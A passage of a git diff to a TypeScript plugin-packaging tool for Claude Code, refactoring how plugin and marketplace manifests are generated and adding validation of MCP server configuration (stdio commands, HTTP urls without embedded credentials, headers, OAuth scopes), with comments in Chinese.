documents: [manifest.document], + assets: components.assets, + compatibility: components.compatibility, + metadata: manifest.metadata, + }; + }, + /** 主 Package 身份固定,全部 base/contribution 内容由 Core 自动继承。 */ + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: validateClaudePackage, + /** 可选 Marketplace 只能从已验证 primary 和当前回调新签发 Asset 派生。 */ + async createDistributions(context) { + /** marketplace 必须来自 session 的防御性副本,不能闭包读取作者原对象。 */ + const marketplace = sessionOptions.marketplace as ClaudeCodeMarketplaceOptions | undefined; + if (marketplace === undefined) + return Object.freeze([]); + return Object.freeze([{ + id: 'marketplace', + type: 'marketplace' as const, + assets: await createMarketplaceAssets(context, marketplace), + }]); + }, }; }, - validateBundle: validateClaudeBundle, - /** Marketplace 可选分发始终复用已经验证的完整主 Plugin。 */ - generateDistributions: async (context, primaryUnits) => { - /** 工厂未声明 marketplace 时不生成空壳 Distribution。 */ - const marketplace = context.options.marketplace as ClaudeCodeMarketplaceOptions | undefined; - if (marketplace === undefined) - return []; - if (primaryUnits.length === 0) - throw new Error('Claude Code Marketplace requires at least one validated primary Plugin.'); - /** 任一主 Plugin 都不能预先占用 Distribution 根清单的保留语义。 */ - if (primaryUnits.some(primary => primary.artifacts.some(artifact => artifact.path === MARKETPLACE_MANIFEST_PATH))) { - context.reportDiagnostic({ - code: 'CLAUDE_MARKETPLACE_PATH_CONFLICT', - severity: 'error', - message: 'The primary Plugin already contains the reserved Marketplace manifest path.', - }); - return []; - } - /** 单项保持根布局,多项由 Platform 确定性放入各自 Plugin 子目录。 */ - const artifacts = await marketplaceArtifacts(context, marketplace, primaryUnits); - return [{ id: 'marketplace', role: 'distribution', type: 'marketplace', artifacts }]; - }, }); } diff --git a/packages/platforms/claude-code/src/manifest.ts b/packages/platforms/claude-code/src/manifest.ts index 3de544d..28f3a60 100644 --- a/packages/platforms/claude-code/src/manifest.ts +++ b/packages/platforms/claude-code/src/manifest.ts @@ -1,21 +1,16 @@ -import { promises as fs } from 'node:fs'; import { - bytesArtifact, stableJson, - type ArtifactInput, - type DeliveryUnit, - type DraftDocument, + type DistributionAssetInput, + type DistributionContext, type JsonObject, - type PlatformDistributionContext, - type PlatformPrepareContext, + type MetadataDispositionInput, + type PackageDocumentInput, type PluginMetadata, -} from '@tokenroll/acplugin'; -import { hasComponents } from './components.js'; +} from '@tokenroll/acplugin/sdk'; import type { ClaudeCodeMarketplaceManifest, ClaudeCodeMarketplaceOptions, ClaudeCodeMarketplacePlugin, - ClaudeCodeMarketplacePluginSource, ClaudeCodePlatformOptions, ClaudeCodePluginManifest, } from './types.js'; @@ -29,45 +24,20 @@ export const PLUGIN_MANIFEST_PATH = '.claude-plugin/plugin.json'; /** Claude Code Marketplace 清单相对于 Distribution 根的固定路径。 */ export const MARKETPLACE_MANIFEST_PATH = '.claude-plugin/marketplace.json'; -/** Claude Code Platform 写入 Artifact 时使用的固定 owner。 */ -const PLATFORM_OWNER = 'platform:claude-code' as const; - /** Marketplace 名称允许使用的小写 kebab-case 规则。 */ const MARKETPLACE_NAME_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; -/** - * 按 UTF-16 code unit 比较 Claude Code DeliveryUnit ID,不依赖宿主 locale/ICU。 - * - * @param left 左侧 ID。 - * @param right 右侧 ID。 - * @returns 与 Array.sort 约定一致的 -1、0 或 1。 - */ -function compareCodeUnits(left: string, right: string): number { - if (left === right) - return 0; - return left < right ? -1 : 1; -} - -/** - * 校验可选字符串字段,避免空白展示值进入 Marketplace 清单。 - * - * @param value Platform 工厂收到的未知字符串候选。 - * @param field 用于错误提示的字段名称。 - */ +/** 校验可选字符串字段,避免空白展示值进入 Marketplace 清单。 */ function assertOptionalString(value: unknown, field: string): void { if (value !== undefined && (typeof value !== 'string' || value.trim().length === 0)) throw new TypeError(`Claude Code ${field} must be a non-empty string.`); } -/** - * 在 Platform 工厂边界校验 Marketplace 选项。 - * - * @param marketplace 用户声明的 Marketplace 根级选项。 - */ +/** 在 Platform 工厂边界校验 Marketplace 选项。 */ export function validateMarketplaceOptions(marketplace: ClaudeCodeMarketplaceOptions | undefined): void { if (marketplace === undefined) return; - /** Marketplace 类型边界允许的显式字段集合。 */ + /** allowed 是 Marketplace 唯一公开选项集合。 */ const allowed = new Set(['name', 'owner', 'category', 'tags']); for (const field of Object.keys(marketplace)) { if (!allowed.has(field)) @@ -77,7 +47,7 @@ export function validateMarketplaceOptions(marketplace: ClaudeCodeMarketplaceOpt if (marketplace.name !== undefined && !MARKETPLACE_NAME_PATTERN.test(marketplace.name)) throw new TypeError('Claude Code marketplace.name must use lowercase kebab-case.'); if (marketplace.owner !== undefined) { - /** Marketplace owner 只允许官方 name、email 与 url 字段。 */ + /** ownerFields 是 Marketplace owner 唯一支持的身份字段。 */ const ownerFields = new Set(['name', 'email', 'url']); for (const field of Object.keys(marketplace.owner)) { if (!ownerFields.has(field)) @@ -88,22 +58,17 @@ export function validateMarketplaceOptions(marketplace: ClaudeCodeMarketplaceOpt assertOptionalString(marketplace.owner.url, 'marketplace.owner.url'); } assertOptionalString(marketplace.category, 'marketplace.category'); - if (marketplace.tags !== undefined) { - if (!Array.isArray(marketplace.tags) + if (marketplace.tags !== undefined + && (!Array.isArray(marketplace.tags) || marketplace.tags.some(tag => typeof tag !== 'string' || tag.trim().length === 0) - || new Set(marketplace.tags).size !== marketplace.tags.length) { - throw new TypeError('Claude Code marketplace.tags must contain unique non-empty strings.'); - } + || new Set(marketplace.tags).size !== marketplace.tags.length)) { + throw new TypeError('Claude Code marketplace.tags must contain unique non-empty strings.'); } } -/** - * 校验 Claude Code Platform 工厂只接收公开声明的顶层选项。 - * - * @param options 用户传入且可能来自宽类型变量的 Platform 选项。 - */ +/** 校验 Claude Code Platform 工厂只接收公开声明的选项。 */ export function validatePlatformOptions(options: ClaudeCodePlatformOptions): void { - /** Claude Code Platform 工厂公开支持的顶层字段集合。 */ + /** allowed 是工厂唯一公开顶层选项集合。 */ const allowed = new Set(['strict', 'defaultEnabled', 'marketplace']); for (const field of Object.keys(options)) { if (!allowed.has(field)) @@ -116,15 +81,12 @@ export function validatePlatformOptions(options: ClaudeCodePlatformOptions): voi validateMarketplaceOptions(options.marketplace); } -/** - * 创建只包含官方字段和实际 Component 引用的 Claude Code Plugin 清单。 - * - * @param context Platform prepare 阶段的规范工程与报告上下文。 - * @returns 可供 Extension add-only patch 的初始清单。 - */ -function createPluginManifest(context: PlatformPrepareContext): ClaudeCodePluginManifest { - /** 所有平台共享且已由 Core 验证的 Plugin 元数据。 */ - const metadata = context.project.metadata; +/** @returns 统一元数据和 Component 集合对应的原生 Claude Code 清单。 */ +function pluginManifest( + metadata: PluginMetadata, + options: Readonly, + components: { readonly commands: number; readonly skills: number; readonly agents: number }, +): ClaudeCodePluginManifest { return { name: metadata.name, version: metadata.version, @@ -134,86 +96,60 @@ function createPluginManifest(context: PlatformPrepareContext): ClaudeCodePlugin ...(metadata.homepage === undefined ? {} : { homepage: metadata.homepage }), ...(metadata.repository === undefined ? {} : { repository: metadata.repository }), ...(metadata.license === undefined ? {} : { license: metadata.license }), - ...(metadata.keywords === undefined ? {} : { keywords: metadata.keywords }), - ...(context.options.defaultEnabled === undefined ? {} : { defaultEnabled: context.options.defaultEnabled as boolean }), - ...(hasComponents(context.project, 'command') ? { commands: './commands/' } : {}), - ...(hasComponents(context.project, 'skill') ? { skills: './skills/' } : {}), - ...(hasComponents(context.project, 'agent') ? { agents: './agents/' } : {}), + ...(metadata.keywords.length === 0 ? {} : { keywords: metadata.keywords }), + ...(options.defaultEnabled === undefined ? {} : { defaultEnabled: options.defaultEnabled as boolean }), + ...(components.commands === 0 ? {} : { commands: './commands/' }), + ...(components.skills === 0 ? {} : { skills: './skills/' }), + ...(components.agents === 0 ? {} : { agents: './agents/' }), }; } -/** - * 报告统一元数据在 Claude Code Plugin 清单中的最终去向。 - * - * @param context Platform prepare 阶段的元数据报告出口。 - */ -function reportMetadata(context: PlatformPrepareContext): void { - /** 当前工程中始终存在并写入清单的必填元数据字段。 */ - const required = ['name', 'version', 'description'] as const; - for (const field of required) { - context.reportMetadata({ - field, - disposition: 'emitted', - output: `${PLUGIN_MANIFEST_PATH}.${field}`, - reason: `Claude Code plugin.json supports ${field}.`, - }); +/** @returns 当前工程全部实际元数据字段的完整 emitted disposition。 */ +function metadataDispositions(metadata: PluginMetadata): readonly MetadataDispositionInput[] { + /** fields 与 Core metadata coverage 使用相同的规范字段粒度。 */ + const fields = ['name', 'version', 'description']; + for (const field of ['displayName', 'homepage', 'repository', 'license'] as const) { + if (metadata[field] !== undefined) + fields.push(field); } - /** 只有作者实际声明后才需要报告的可选元数据。 */ - const optional = ['displayName', 'author', 'homepage', 'repository', 'license', 'keywords'] as const; - for (const field of optional) { - if (context.project.metadata[field] !== undefined) { - context.reportMetadata({ - field, - disposition: 'emitted', - output: `${PLUGIN_MANIFEST_PATH}.${field}`, - reason: `Claude Code plugin.json supports ${field}.`, - }); - } + if (metadata.author !== undefined) { + fields.push('author.name'); + if (metadata.author.email !== undefined) + fields.push('author.email'); + if (metadata.author.url !== undefined) + fields.push('author.url'); } + if (metadata.keywords.length > 0) + fields.push('keywords'); + return Object.freeze(fields.map(field => Object.freeze({ + field, + disposition: 'emitted' as const, + output: `${PLUGIN_MANIFEST_PATH}/${field}`, + reason: `Claude Code plugin.json supports ${field}.`, + }))); } -/** - * 创建 Claude Code Platform 的初始 Plugin Manifest Document。 - * - * @param context Platform prepare 生命周期上下文。 - * @returns 只开放 Hooks 与 MCP 根字段的单一 Document。 - */ -export function createManifestDocument(context: PlatformPrepareContext): DraftDocument { - reportMetadata(context); - return { +/** 创建由 Core codec 序列化、只开放 Hooks/MCP 字段的 Plugin Document。 */ +export function createPluginDocument(input: { + readonly metadata: PluginMetadata; + readonly options: Readonly; + readonly components: { readonly commands: number; readonly skills: number; readonly agents: number }; +}): { readonly document: PackageDocumentInput; readonly metadata: readonly MetadataDispositionInput[] } { + /** document 是 Platform 唯一拥有的结构化主清单。 */ + const document: PackageDocumentInput = Object.freeze({ id: PLUGIN_MANIFEST_ID, path: PLUGIN_MANIFEST_PATH, format: 'json', - owner: PLATFORM_OWNER, - value: createPluginManifest(context) as unknown as JsonObject, - // 两个扩展点均为根字段空位;Extension 只能新增,不能替换 Platform 已有字段。 - extensionPoints: [['hooks'], ['mcpServers']], - }; + value: pluginManifest(input.metadata, input.options, input.components) as unknown as JsonObject, + extensionPoints: Object.freeze([ + Object.freeze(['hooks'] as const), + Object.freeze(['mcpServers'] as const), + ]), + }); + return Object.freeze({ document, metadata: metadataDispositions(input.metadata) }); } -/** - * 将完成 Extension patch 的 Claude Code Document 序列化为 Artifact。 - * - * @param documents 当前 Platform Draft 中由 Core 冻结的完整文档列表。 - * @returns 包含固定 Plugin 清单路径的序列化 Artifact。 - */ -export function serializeDocuments(documents: readonly DraftDocument[]): ArtifactInput[] { - /** 按逻辑 ID 查找而不是根据物理路径猜测语义的 Plugin 清单。 */ - const manifest = documents.find(document => document.id === PLUGIN_MANIFEST_ID); - if (!manifest || manifest.path !== PLUGIN_MANIFEST_PATH || manifest.format !== 'json') - throw new Error('Claude Code Platform Draft is missing its canonical Plugin Manifest Document.'); - if (documents.length !== 1) - throw new Error('Claude Code Platform received an unknown Document.'); - return [bytesArtifact(PLUGIN_MANIFEST_PATH, stableJson(manifest.value))]; -} - -/** - * 从统一元数据和显式 Marketplace 选项推导 Marketplace owner。 - * - * @param metadata 规范 Plugin 元数据。 - * @param options 用户声明的 Claude Code Marketplace 选项。 - * @returns 满足 Marketplace 必填字段的所有者身份。 - */ +/** @returns 统一元数据和显式选项推导出的 Marketplace owner。 */ function marketplaceOwner( metadata: PluginMetadata, options: ClaudeCodeMarketplaceOptions, @@ -230,82 +166,14 @@ function marketplaceOwner( return { name: metadata.name }; } -/** 一个已验证主单元在 Marketplace Distribution 中的稳定布局。 */ -interface MarketplacePluginLayout { - readonly unit: DeliveryUnit; - readonly root: string; - readonly source: ClaudeCodeMarketplacePluginSource; -} - -/** - * 从已验证主单元读取 Claude Code Plugin 清单。 - * - * @param unit Marketplace Builder 收到的同平台主单元。 - * @returns 已通过基础身份检查的 Plugin 清单。 - */ -async function readPrimaryPluginManifest(unit: DeliveryUnit): Promise { - /** Platform 主单元中的规范 Plugin Manifest Artifact。 */ - const artifact = unit.artifacts.find(candidate => candidate.path === PLUGIN_MANIFEST_PATH); - if (artifact === undefined) - throw new Error(`Claude Code primary DeliveryUnit "${unit.id}" is missing ${PLUGIN_MANIFEST_PATH}.`); - /** 内存 Artifact 直接复制字节,文件 Artifact 只读取 Core 已验证的普通文件来源。 */ - const bytes = artifact.source.type === 'bytes' - ? artifact.source.value - : await fs.readFile(artifact.source.path); - /** fatal UTF-8 解码阻止替换字符掩盖损坏的主单元清单。 */ - const source = new TextDecoder('utf-8', { fatal: true }).decode(bytes); - /** JSON.parse 结果在读取必填字段前保持 unknown。 */ - const value: unknown = JSON.parse(source); - if (value === null || typeof value !== 'object' || Array.isArray(value)) - throw new Error(`Claude Code primary DeliveryUnit "${unit.id}" has an invalid Plugin Manifest.`); - /** 经过对象形态检查后的清单候选。 */ - const manifest = value as Record; - if (typeof manifest.name !== 'string' - || typeof manifest.version !== 'string' - || typeof manifest.description !== 'string') { - throw new Error(`Claude Code primary DeliveryUnit "${unit.id}" has incomplete Plugin metadata.`); - } - return manifest as unknown as ClaudeCodePluginManifest; -} - -/** - * 为一个或多个主单元选择兼容当前单 Plugin 输出的自包含布局。 - * - * @param primaryUnits 已由 Core 验证的同 Platform 主单元。 - * @returns 单项保持根目录,多项进入 `plugins//` 的稳定布局。 - */ -function marketplaceLayouts(primaryUnits: readonly DeliveryUnit[]): readonly MarketplacePluginLayout[] { - if (primaryUnits.length === 0) - throw new Error('Claude Code Marketplace requires at least one validated primary Plugin.'); - /** 按单元 ID 排序,避免未来编排器的集合遍历顺序影响 Marketplace 字节。 */ - const units = [...primaryUnits].sort((left, right) => compareCodeUnits(left.id, right.id)); - if (new Set(units.map(unit => unit.id)).size !== units.length) - throw new Error('Claude Code Marketplace received duplicate primary DeliveryUnit IDs.'); - if (units.length === 1) - return [{ unit: units[0]!, root: '', source: './' }]; - return units.map(unit => ({ - unit, - root: `plugins/${unit.id}`, - source: `./plugins/${unit.id}`, - })); -} - -/** - * 从主 Plugin 清单创建一个 Marketplace 安装条目。 - * - * @param manifest 当前主单元自己的 Plugin 元数据。 - * @param source 当前 Plugin 在 Distribution 根内的相对路径。 - * @param options Marketplace 级展示选项。 - * @returns 与被引用 Plugin Manifest 身份一致的条目。 - */ -function createMarketplacePlugin( +/** @returns 已验证主 Plugin 清单对应的 Marketplace 安装条目。 */ +function marketplacePlugin( manifest: ClaudeCodePluginManifest, - source: ClaudeCodeMarketplacePluginSource, options: ClaudeCodeMarketplaceOptions, ): ClaudeCodeMarketplacePlugin { return { name: manifest.name, - source, + source: './', description: manifest.description, version: manifest.version, ...(manifest.author === undefined ? {} : { author: manifest.author }), @@ -319,67 +187,55 @@ function createMarketplacePlugin( }; } -/** - * 创建自包含 Claude Code Marketplace 清单。 - * - * @param context Platform Distribution 生命周期上下文。 - * @param options 用户声明或空对象触发的 Marketplace 选项。 - * @param plugins 已按 Distribution 布局创建的 Plugin 条目。 - * @returns 包含一个或多个本地 Plugin 的 Marketplace 清单。 - */ -export function createMarketplaceManifest( - context: PlatformDistributionContext, - options: ClaudeCodeMarketplaceOptions, - plugins: readonly ClaudeCodeMarketplacePlugin[], -): ClaudeCodeMarketplaceManifest { - /** Marketplace 根展示信息仍归当前 Platform 工厂上下文所有。 */ - const metadata = context.project.metadata; - return { - name: options.name ?? `${metadata.name}-marketplace`, - owner: marketplaceOwner(metadata, options), - description: metadata.description, - version: metadata.version, - metadata: { pluginRoot: './' }, - plugins, - }; +/** 从 validated primary 的真实 AssetRef 读取 Plugin 清单。 */ +async function readPrimaryManifest(context: DistributionContext): Promise { + /** manifestAsset 必须来自当前 primary 的固定 Document 输出。 */ + const manifestAsset = context.primary.assets.find(asset => asset.path === PLUGIN_MANIFEST_PATH); + if (manifestAsset === undefined) + throw new Error(`Claude Code primary Package is missing ${PLUGIN_MANIFEST_PATH}.`); + /** value 在读取必填字段前保持未知。 */ + const value: unknown = JSON.parse(new TextDecoder('utf-8', { fatal: true }).decode( + await context.assets.read(manifestAsset.asset), + )); + if (value === null || typeof value !== 'object' || Array.isArray(value)) + throw new Error('Claude Code primary Package has an invalid Plugin Manifest.'); + /** manifest 只在基础身份通过后用于生成 Marketplace 条目。 */ + const manifest = value as Record; + if (typeof manifest.name !== 'string' || typeof manifest.version !== 'string' || typeof manifest.description !== 'string') + throw new Error('Claude Code primary Package has incomplete Plugin metadata.'); + return manifest as unknown as ClaudeCodePluginManifest; } -/** - * 组合已验证主单元并创建完整 Marketplace Distribution Artifact。 - * - * @param context Platform Distribution 生命周期上下文。 - * @param options 用户声明的 Marketplace 选项。 - * @param primaryUnits 已验证的同 Platform 主单元数组。 - * @returns 自包含 Plugin 内容和固定 Marketplace 清单。 - */ -export async function marketplaceArtifacts( - context: PlatformDistributionContext, +/** 从 validated primary 创建保留全部 AssetRef 身份的自包含 Marketplace。 */ +export async function createMarketplaceAssets( + context: DistributionContext, options: ClaudeCodeMarketplaceOptions, - primaryUnits: readonly DeliveryUnit[], -): Promise { - /** 当前输入数量对应的兼容布局。 */ - const layouts = marketplaceLayouts(primaryUnits); - /** Marketplace 中按布局顺序生成的安装条目。 */ - const plugins: ClaudeCodeMarketplacePlugin[] = []; - /** Distribution 中复用主单元 source 与 mode 的完整 Artifact。 */ - const artifacts: ArtifactInput[] = []; - /** layout 表示当前主 Plugin 及其 Distribution 安装根。 */ - for (const layout of layouts) { - /** 当前主单元已经验证的 Plugin Manifest。 */ - const manifest = await readPrimaryPluginManifest(layout.unit); - plugins.push(createMarketplacePlugin(manifest, layout.source, options)); - /** artifact 表示当前 Plugin 要原样复制的文件。 */ - for (const artifact of layout.unit.artifacts) { - artifacts.push({ - path: layout.root === '' ? artifact.path : `${layout.root}/${artifact.path}`, - source: artifact.source, - mode: artifact.mode, - }); - } +): Promise { + if (context.primary.assets.some(asset => asset.path === MARKETPLACE_MANIFEST_PATH)) { + context.diagnostics.report({ + code: 'CLAUDE_MARKETPLACE_PATH_CONFLICT', severity: 'error', + message: 'The primary Plugin already contains the reserved Marketplace manifest path.', + }); + return Object.freeze([]); } - artifacts.push(bytesArtifact( - MARKETPLACE_MANIFEST_PATH, - stableJson(createMarketplaceManifest(context, options, plugins)), - )); - return artifacts; + /** manifest 是已经过主 Package validator 的真实清单。 */ + const manifest = await readPrimaryManifest(context); + /** marketplace 只引用当前单一 primary,避免建立第二套多 Package 编排语义。 */ + const marketplace: ClaudeCodeMarketplaceManifest = { + name: options.name ?? `${context.project.metadata.name}-marketplace`, + owner: marketplaceOwner(context.project.metadata, options), + description: context.project.metadata.description, + version: context.project.metadata.version, + metadata: { pluginRoot: './' }, + plugins: [marketplacePlugin(manifest, options)], + }; + /** marketplaceAsset 是 Distribution callback 本次唯一新签发的 Asset。 */ + const marketplaceAsset = await context.assets.fromBytes({ + bytes: stableJson(marketplace as unknown as JsonObject), + origin: { operation: 'marketplace-manifest', subjects: ['distribution:marketplace'] }, + }); + return Object.freeze([ + ...context.primary.assets.map(asset => Object.freeze({ path: asset.path, asset: asset.asset })), + Object.freeze({ path: MARKETPLACE_MANIFEST_PATH, asset: marketplaceAsset }), + ]); } diff --git a/packages/platforms/claude-code/src/validator.ts b/packages/platforms/claude-code/src/validator.ts index 5aa070b..41d94c2 100644 --- a/packages/platforms/claude-code/src/validator.ts +++ b/packages/platforms/claude-code/src/validator.ts @@ -1,8 +1,11 @@ import { promises as fs } from 'node:fs'; import path from 'node:path'; -import type { JsonValue, PlatformValidateContext } from '@tokenroll/acplugin'; +import type { JsonValue, ValidatePackageContext } from '@tokenroll/acplugin/sdk'; import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from './manifest.js'; +/** Claude Code validator 只消费 SDK 的最终 Package candidate Context。 */ +type PlatformValidateContext = ValidatePackageContext; + /** Claude Code Plugin 清单允许出现的官方根字段。 */ const PLUGIN_FIELDS = new Set([ '$schema', 'name', 'version', 'description', 'displayName', 'author', 'homepage', 'repository', 'license', @@ -75,6 +78,15 @@ const HOOK_HANDLER_FIELDS: Readonly>> = Objec mcp_tool: new Set([...HOOK_HANDLER_COMMON_FIELDS, 'server', 'tool', 'input']), }); +/** Claude Code MCP 配置文件唯一允许的包装字段。 */ +const MCP_CONFIG_FIELDS = new Set(['mcpServers']); + +/** Claude Code Plugin-local stdio MCP descriptor 字段。 */ +const MCP_STDIO_FIELDS = new Set(['type', 'command', 'args', 'env']); + +/** Claude Code 远程 HTTP MCP descriptor 字段。 */ +const MCP_HTTP_FIELDS = new Set(['type', 'url', 'headers', 'oauth']); + /** 多 Plugin Marketplace 的本地来源必须使用稳定单元目录。 */ const MARKETPLACE_PLUGIN_SOURCE_PATTERN = /^\.\/plugins\/[a-z0-9]+(?:-[a-z0-9]+)*$/; @@ -103,7 +115,7 @@ function isRecord(value: unknown): value is JsonRecord { /** * 向 Core 提交 Claude Code 候选校验错误。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param code 稳定诊断码。 * @param message 不包含宿主绝对路径的错误信息。 * @param fieldPath 可选的清单字段路径。 @@ -114,7 +126,7 @@ function report( message: string, fieldPath?: readonly (string | number)[], ): void { - context.reportDiagnostic({ + context.diagnostics.report({ code, severity: 'error', message, @@ -125,8 +137,8 @@ function report( /** * 从候选安装根读取并解析 JSON 文件。 * - * @param context Platform validateBundle 生命周期上下文。 - * @param artifactPath 候选根内的规范 Artifact 路径。 + * @param context Platform validatePackage 生命周期上下文。 + * @param artifactPath 候选根内的规范 Asset 路径。 * @returns JSON 对象;缺失或格式错误时提交诊断并返回 undefined。 */ async function readJson( @@ -170,19 +182,19 @@ function isSafePluginReference(reference: string): boolean { } /** - * 判断候选 Artifact 集合是否满足文件或目录引用。 + * 判断候选 Asset 集合是否满足文件或目录引用。 * - * @param artifacts 当前 DeliveryUnit 的全部规范 Artifact 路径。 + * @param assets 当前 Package 的全部规范 Asset 路径。 * @param reference 已通过安全规则校验的 Claude Code 路径引用。 - * @returns 精确文件或目录前缀至少匹配一个 Artifact 时返回 true。 + * @returns 精确文件或目录前缀至少匹配一个 Asset 时返回 true。 */ -function referenceExists(artifacts: ReadonlySet, reference: string): boolean { - /** 清单引用去除固定 `./` 后的 Artifact 路径。 */ +function referenceExists(assets: ReadonlySet, reference: string): boolean { + /** 清单引用去除固定 `./` 后的 Asset 路径。 */ const target = reference.slice(2).replace(/\/+$/u, ''); - if (artifacts.has(target)) + if (assets.has(target)) return true; - for (const artifact of artifacts) { - if (artifact.startsWith(`${target}/`)) + for (const asset of assets) { + if (asset.startsWith(`${target}/`)) return true; } return false; @@ -191,7 +203,7 @@ function referenceExists(artifacts: ReadonlySet, reference: string): boo /** * 校验 Claude Code Hook matcher 是可执行的正则字符串。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param value matcher 候选值。 * @param fieldPath matcher 在最终 Hook 配置中的字段路径。 */ @@ -216,7 +228,7 @@ function validateHookMatcher( /** * 校验 Claude Code Hook Handler 的类型、必填字段和公共执行选项。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param event 当前 Handler 所属事件。 * @param value Handler 候选值。 * @param fieldPath Handler 在最终 Hook 配置中的字段路径。 @@ -325,7 +337,7 @@ function validateHookHandler( /** * 校验 Claude Code Hook 事件映射及其 matcher 分组。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param value `hooks` 字段中的事件映射候选。 * @param fieldPath 事件映射在最终配置中的字段路径。 */ @@ -378,7 +390,7 @@ function validateHookEvents( /** * 校验 Claude Code `hooks.json` 顶层结构。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param value 已解析的 Hook 配置对象。 * @param fieldPath 配置在 Plugin Manifest 中的字段路径。 * @param wrapped 是否要求配置使用 `hooks.json` 顶层包装。 @@ -411,7 +423,7 @@ function validateHookConfig( /** * 读取并校验 Plugin 根内被引用的 Claude Code `hooks.json`。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 * @param reference 已通过安装根路径规则的 Hook 配置引用。 * @param fieldPath 引用在 Plugin Manifest 中的字段路径。 @@ -437,35 +449,149 @@ async function validateHookFile( } } +/** 校验字符串映射,不允许 headers/env 退化为任意 JSON。 */ +function validateStringMap( + context: PlatformValidateContext, + value: JsonValue | undefined, + code: string, + label: string, + fieldPath: readonly (string | number)[], +): void { + if (value !== undefined && (!isRecord(value) + || Object.entries(value).some(([key, entry]) => key.trim().length === 0 || typeof entry !== 'string'))) { + report(context, code, `${label} must map non-empty names to string values.`, fieldPath); + } +} + +/** 校验 Claude Code 最终将加载的 MCP Server 映射。 */ +function validateMcpServers( + context: PlatformValidateContext, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (!isRecord(value)) { + report(context, 'CLAUDE_MCP_SERVERS_INVALID', 'mcpServers must contain a Server object mapping.', fieldPath); + return; + } + for (const [id, candidate] of Object.entries(value)) { + /** 当前 Server 在最终配置中的字段路径。 */ + const serverPath = [...fieldPath, id]; + if (!PLUGIN_NAME_PATTERN.test(id) || !isRecord(candidate)) { + report(context, 'CLAUDE_MCP_SERVER_INVALID', 'MCP Server ids must use lowercase kebab-case and map to objects.', serverPath); + continue; + } + /** type 决定 stdio 与 HTTP 的精确字段集合。 */ + const fields = candidate.type === 'stdio' + ? MCP_STDIO_FIELDS + : candidate.type === 'http' + ? MCP_HTTP_FIELDS + : undefined; + if (fields === undefined) { + report(context, 'CLAUDE_MCP_TRANSPORT_INVALID', 'MCP Server type must be stdio or http.', [...serverPath, 'type']); + continue; + } + for (const field of Object.keys(candidate)) { + if (!fields.has(field)) + report(context, 'CLAUDE_MCP_FIELD_UNKNOWN', `Unknown Claude Code MCP field "${field}".`, [...serverPath, field]); + } + if (candidate.type === 'stdio') { + if (typeof candidate.command !== 'string' || candidate.command.trim().length === 0) + report(context, 'CLAUDE_MCP_COMMAND_INVALID', 'stdio MCP command must be a non-empty string.', [...serverPath, 'command']); + if (candidate.args !== undefined + && (!Array.isArray(candidate.args) || candidate.args.some(argument => typeof argument !== 'string'))) { + report(context, 'CLAUDE_MCP_ARGS_INVALID', 'stdio MCP args must contain only strings.', [...serverPath, 'args']); + } + validateStringMap(context, candidate.env, 'CLAUDE_MCP_ENV_INVALID', 'stdio MCP env', [...serverPath, 'env']); + continue; + } + if (typeof candidate.url !== 'string') { + report(context, 'CLAUDE_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } else { + try { + /** 远程地址不得把凭据内联到 URL。 */ + const url = new URL(candidate.url); + if ((url.protocol !== 'http:' && url.protocol !== 'https:') || url.username !== '' || url.password !== '') + throw new TypeError('unsafe'); + } catch { + report(context, 'CLAUDE_MCP_URL_INVALID', 'HTTP MCP url must be an HTTP(S) URL without credentials.', [...serverPath, 'url']); + } + } + validateStringMap(context, candidate.headers, 'CLAUDE_MCP_HEADERS_INVALID', 'HTTP MCP headers', [...serverPath, 'headers']); + if (candidate.oauth !== undefined) { + if (!isRecord(candidate.oauth)) { + report(context, 'CLAUDE_MCP_OAUTH_INVALID', 'HTTP MCP oauth must be an object.', [...serverPath, 'oauth']); + } else { + for (const field of Object.keys(candidate.oauth)) { + if (field !== 'scopes') + report(context, 'CLAUDE_MCP_OAUTH_FIELD_UNKNOWN', `Unknown Claude Code MCP OAuth field "${field}".`, [...serverPath, 'oauth', field]); + } + if (candidate.oauth.scopes !== undefined + && (typeof candidate.oauth.scopes !== 'string' || candidate.oauth.scopes.trim().length === 0)) { + report(context, 'CLAUDE_MCP_OAUTH_INVALID', 'HTTP MCP oauth.scopes must be a non-empty string.', [...serverPath, 'oauth', 'scopes']); + } + } + } + } +} + +/** 读取并校验 Plugin 根内被引用的 Claude Code MCP 配置。 */ +async function validateMcpFile( + context: PlatformValidateContext, + pluginRoot: string, + reference: string, + fieldPath: readonly (string | number)[], +): Promise { + try { + /** MCP 配置引用相对于当前 Plugin 根解析。 */ + const mcpPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); + /** 被引用文件必须使用 `{ mcpServers }` 包装。 */ + const value: unknown = JSON.parse(await fs.readFile(mcpPath, 'utf8')); + if (!isRecord(value)) { + report(context, 'CLAUDE_MCP_CONFIG_INVALID', 'MCP config must contain a JSON object.', fieldPath); + return; + } + for (const field of Object.keys(value)) { + if (!MCP_CONFIG_FIELDS.has(field)) + report(context, 'CLAUDE_MCP_CONFIG_FIELD_UNKNOWN', `Unknown Claude Code MCP config field "${field}".`, [...fieldPath, field]); + } + if (value.mcpServers === undefined) + report(context, 'CLAUDE_MCP_SERVERS_REQUIRED', 'MCP config must contain mcpServers.', [...fieldPath, 'mcpServers']); + else + validateMcpServers(context, value.mcpServers, [...fieldPath, 'mcpServers']); + } catch { + report(context, 'CLAUDE_MCP_CONFIG_READ_FAILED', 'MCP config reference must contain valid JSON.', fieldPath); + } +} + /** - * 把 Distribution 中某个 Plugin 子树转换为安装根相对 Artifact 集合。 + * 把 Distribution 中某个 Plugin 子树转换为安装根相对 Asset 集合。 * - * @param context Platform validateBundle 生命周期上下文。 + * @param context Platform validatePackage 生命周期上下文。 * @param 